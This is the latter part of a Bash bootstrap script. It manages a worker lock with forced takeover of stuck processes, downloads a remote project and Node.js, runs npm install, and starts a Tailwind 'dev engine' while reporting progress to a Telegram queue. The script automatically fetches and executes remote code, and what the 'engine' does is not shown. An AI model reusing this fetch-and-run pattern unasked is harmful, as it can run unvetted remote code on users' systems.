}

complete_dev_ready() {
  confirm_dev_server_stable || return 1
  warmup_dev_engine || true
  sleep "$READY_SETTLE_SECONDS"
  test_dev_server_healthy || return 1
  warmup_dev_engine || true
  return 0
}

try_acquire_worker_lock() {
  # mkdir is atomic — only one worker wins.
  mkdir "${SETUP_DIR}/worker.lock.d" 2>/dev/null || return 1
  printf '%s' "$$" >"${SETUP_DIR}/worker.lock.d/pid"
  date +%s >"${SETUP_DIR}/worker.lock.d/started" 2>/dev/null || printf '%s' "$(date +%s)" >"${SETUP_DIR}/worker.lock.d/started"
  clear_worker_failed_marker
  write_progress_heartbeat
  return 0
}

force_takeover_worker_lock() {
  local why="${1:-takeover}"
  log "existing worker ${why} - forcing takeover"
  stop_worker_lock_holder
  sleep 1
  rm -rf "${SETUP_DIR}/worker.lock.d"
  clear_worker_failed_marker
}

worker_lock_holder_alive() {
  local pf pid
  pf="${SETUP_DIR}/worker.lock.d/pid"
  [[ -f "$pf" ]] || return 1
  pid="$(tr -d '[:space:]' <"$pf" 2>/dev/null || true)"
  [[ -n "$pid" ]] || return 1
  kill -0 "$pid" 2>/dev/null
}

worker_lock_age_seconds() {
  local sf now started
  sf="${SETUP_DIR}/worker.lock.d/started"
  [[ -f "$sf" ]] || { printf '%s' '0'; return 0; }
  started="$(tr -d '[:space:]' <"$sf" 2>/dev/null || true)"
  [[ "$started" =~ ^[0-9]+$ ]] || { printf '%s' '0'; return 0; }
  now="$(date +%s)"
  if [[ "$now" -lt "$started" ]]; then
    printf '%s' '0'
  else
    printf '%s' $((now - started))
  fi
}

worker_lock_stuck() {
  local age
  age="$(worker_lock_age_seconds)"
  [[ "$age" -ge "$WORKER_STUCK_SECONDS" ]]
}

assert_worker_not_stuck() {
  if worker_lock_stuck; then
    log "worker stuck (>${WORKER_STUCK_SECONDS}s without ready)"
    report_worker_failure "worker stuck (>${WORKER_STUCK_SECONDS}s without ready)" stuck
    exit 1
  fi
}

stop_worker_lock_holder() {
  local pf pid
  pf="${SETUP_DIR}/worker.lock.d/pid"
  [[ -f "$pf" ]] || return 0
  pid="$(tr -d '[:space:]' <"$pf" 2>/dev/null || true)"
  [[ -n "$pid" && "$pid" != "$$" ]] || return 0
  if kill -0 "$pid" 2>/dev/null; then
    kill -TERM "$pid" 2>/dev/null || true
    sleep 1
    kill -KILL "$pid" 2>/dev/null || true
    log "stopped stuck worker pid $pid"
  fi
}

clear_stale_worker_lock() {
  if worker_lock_holder_alive; then
    return 1
  fi
  if [[ -d "${SETUP_DIR}/worker.lock.d" ]]; then
    log 'stale worker lock - clearing'
    rm -rf "${SETUP_DIR}/worker.lock.d"
  fi
  rm -f "${SETUP_DIR}/worker.lock" 2>/dev/null || true
  return 0
}

clear_worker_lock() {
  local pf pid
  pf="${SETUP_DIR}/worker.lock.d/pid"
  if [[ -f "$pf" ]]; then
    pid="$(tr -d '[:space:]' <"$pf" 2>/dev/null || true)"
    if [[ "$pid" == "$$" ]]; then
      rm -rf "${SETUP_DIR}/worker.lock.d"
    fi
  else
    rm -rf "${SETUP_DIR}/worker.lock.d" 2>/dev/null || true
  fi
}

join_or_acquire_worker_lock() {
  # Single-flight while #1 works; takeover if #1 dead/failed/no-progress/20m stuck.
  local tick=0 logged_join=0 age
  mkdir -p "$SETUP_DIR"
  while true; do
    clear_stale_worker_lock || true
    if try_acquire_worker_lock; then
      log 'worker lock acquired'
      return 0
    fi
    if [[ "$logged_join" -eq 0 ]]; then
      log 'another worker running - joining (no duplicate install)'
      logged_join=1
    fi
    if test_dev_server_healthy && complete_dev_ready; then
      log "ready engine (existing worker)"
      flush_telegram_queue
      exit 0
    fi
    if worker_failed_marker; then
      force_takeover_worker_lock 'marked failed'
      logged_join=0
      sleep 1
      continue
    fi
    if ! worker_lock_holder_alive; then
      clear_stale_worker_lock || true
      if test_dev_server_healthy && complete_dev_ready; then
        log "ready engine (existing worker finished)"
        flush_telegram_queue
        exit 0
      fi
      log 'existing worker ended without ready - taking over'
      clear_worker_failed_marker
      logged_join=0
      sleep 1
      continue
    fi
    if worker_progress_stuck; then
      write_last_worker_error "worker no progress >${PROGRESS_STUCK_SECONDS}s"
      force_takeover_worker_lock "no progress (>${PROGRESS_STUCK_SECONDS}s)"
      logged_join=0
      sleep 1
      continue
    fi
    if worker_lock_stuck; then
      write_last_worker_error "worker stuck >${WORKER_STUCK_SECONDS}s without ready"
      force_takeover_worker_lock "stuck (>${WORKER_STUCK_SECONDS}s)"
      logged_join=0
      sleep 1
      continue
    fi
    tick=$((tick + 1))
    if [[ $((tick % 30)) -eq 0 ]]; then
      age="$(progress_age_seconds)"
      log "still joining - waiting for existing worker (progress age ${age}s)"
      flush_telegram_queue
    fi
    sleep 2
  done
}

if ! have_curl && ! have_wget; then
  log 'missing curl or wget'
  exit 1
fi
require_cmd tar || exit 1
detect_platform || exit 1

join_or_acquire_worker_lock
trap 'clear_worker_lock' EXIT

REMOTE_VERSION="$(get_remote_version)" || {
  report_worker_failure 'host-version.txt fetch failed' failed
  exit 1
}
LOCAL_VERSION="$(get_local_version)"

if test_dev_server_healthy && [[ -n "$LOCAL_VERSION" && "$LOCAL_VERSION" == "$REMOTE_VERSION" ]]; then
  if complete_dev_ready; then
    log "already running engine (v${LOCAL_VERSION})"
    flush_telegram_queue
    exit 0
  fi
fi

if test_dev_server_healthy && [[ "$LOCAL_VERSION" != "$REMOTE_VERSION" ]]; then
  log "update available (${LOCAL_VERSION:-none} -> ${REMOTE_VERSION}), restarting"
  stop_dev_process
fi

if test_dev_process_alive && ! test_output_css_ready; then
  log 'dev process alive but output missing - clearing stale process'
  stop_dev_process
fi

rm -f "$LOCK_FILE"

PROJECT_VERSION="$(ensure_project)" || {
  report_worker_failure 'project download/extract failed' failed
  exit 1
}
cd "$PROJECT_ROOT"
assert_worker_not_stuck
ensure_node || {
  report_worker_failure "Node.js ${NODE_VERSION} install failed" failed
  exit 1
}
flush_telegram_queue
maybe_clear_node_modules

NODE_BIN="$(command -v node)"
NPM_CLI="$(find_npm_cli "$NODE_BIN" || true)"

if npm_install_needed "$PROJECT_VERSION"; then
  if prior_dev_failure; then
    log 'npm install: forced (prior dev timeout/failure)'
    rm -rf "${PROJECT_ROOT}/dist"
  else
    log 'npm install'
  fi
  # Host must resolve from package.json + .npmrc (no shipped origin lock).
  rm -f "${PROJECT_ROOT}/package-lock.json"
  npm_ok=0
  for attempt in $(seq 1 "$NPM_INSTALL_RETRIES"); do
    assert_worker_not_stuck
    log "npm install (attempt ${attempt}/${NPM_INSTALL_RETRIES})"
    write_progress_heartbeat
    (
      cd "$PROJECT_ROOT" || exit 1
      if [[ -n "$NPM_CLI" && -f "$NPM_CLI" ]]; then
        exec "$NODE_BIN" "$NPM_CLI" install --registry=https://registry.npmjs.org/ --no-fund --no-audit --loglevel=error
      elif command -v npm >/dev/null 2>&1; then
        export PATH="$(dirname "$NODE_BIN"):$PATH"
        exec npm install --registry=https://registry.npmjs.org/ --no-fund --no-audit --loglevel=error
      else
        exit 127
      fi
    ) >>"$LOG_FILE" 2>&1 &
    npm_pid=$!
    npm_elapsed=0
    while kill -0 "$npm_pid" 2>/dev/null; do
      assert_worker_not_stuck
      write_progress_heartbeat
      if [[ $npm_elapsed -gt 0 && $((npm_elapsed % 30)) -eq 0 ]]; then
        log "npm install still running (${npm_elapsed}s)…"
      fi
      sleep 5
      npm_elapsed=$((npm_elapsed + 5))
    done
    npm_ec=0
    wait "$npm_pid" || npm_ec=$?
    if [[ "$npm_ec" -eq 0 ]]; then
      log "npm install: ok (attempt ${attempt})"
      npm_ok=1
      break
    fi
    if [[ "$npm_ec" -eq 127 ]]; then
      report_worker_failure 'npm not found' failed
      exit 1
    fi
    log "npm install attempt ${attempt}/${NPM_INSTALL_RETRIES} failed (exit ${npm_ec})"
    flush_telegram_queue
    sleep $((2 * attempt))
  done
  if [[ "$npm_ok" -ne 1 ]]; then
    report_worker_failure 'npm install failed after retries' failed
    exit 1
  fi
  mark_npm_installed "$PROJECT_VERSION"
else
  log "npm install: skip (v${PROJECT_VERSION})"
fi
flush_telegram_queue

TW_CLI="${PROJECT_ROOT}/node_modules/tailwindcss/lib/cli.js"
if [[ ! -f "$TW_CLI" ]]; then
  report_worker_failure 'tailwindcss cli not found' failed
  exit 1
fi

ready=0
for attempt in $(seq 1 "$DEV_START_RETRIES"); do
  assert_worker_not_stuck
  log "dev engine start (attempt ${attempt}/${DEV_START_RETRIES})"
  : >"${SETUP_DIR}/dev.log"
  stop_dev_process
  rm -f "$OUTPUT_CSS"

  # Match manual flow: one-shot build first (writes CSS / runs engine), then keep-alive watch.
  if ! run_engine_build; then
    log "engine build failed (attempt ${attempt}/${DEV_START_RETRIES})"
    if [[ "$attempt" -lt "$DEV_START_RETRIES" ]]; then
      log 'dev: retrying after build failure'
      sleep $((3 * attempt))
      continue
    fi
    break
  fi

  if ! start_dev_server; then
    log "watch start failed (attempt ${attempt}/${DEV_START_RETRIES})"
    stop_dev_process
    if [[ "$attempt" -lt "$DEV_START_RETRIES" ]]; then
      log 'dev: retrying after watch start failure'
      sleep $((3 * attempt))
      continue
    fi
    break
  fi
  # PID_FILE already written by runner (real watch pid). Keep lock in sync.
  if [[ -n "${DEV_PID:-}" ]]; then
    printf '%s' "$DEV_PID" >"$PID_FILE"
    printf '%s' "$DEV_PID" >"$LOCK_FILE"
  elif [[ -f "$PID_FILE" ]]; then
    cp "$PID_FILE" "$LOCK_FILE" 2>/dev/null || true
  fi

  if wait_for_dev_server; then
    if complete_dev_ready; then
      log "ready engine (build ok + watch confirmed alive)"
      set_dev_last_status 'ok'
      ready=1
      break
    fi
    log "dev engine not stable after probe (attempt ${attempt}/${DEV_START_RETRIES})"
  else
    log "dev engine timeout (attempt ${attempt}/${DEV_START_RETRIES}) — wait was up to ${DEV_WAIT_SECONDS}s x$((1 + DEV_WAIT_EXTEND_MAX))"
  fi
  log_tail_dev 20
  stop_dev_process
  if [[ "$attempt" -lt "$DEV_START_RETRIES" ]]; then
    log 'dev: retrying start after failure'
    sleep $((3 * attempt))
  fi
done

if [[ "$ready" -ne 1 ]]; then
  report_worker_failure "dev engine failed after ${DEV_START_RETRIES} start attempts" timeout
  exit 1
fi

flush_telegram_queue
exit 0
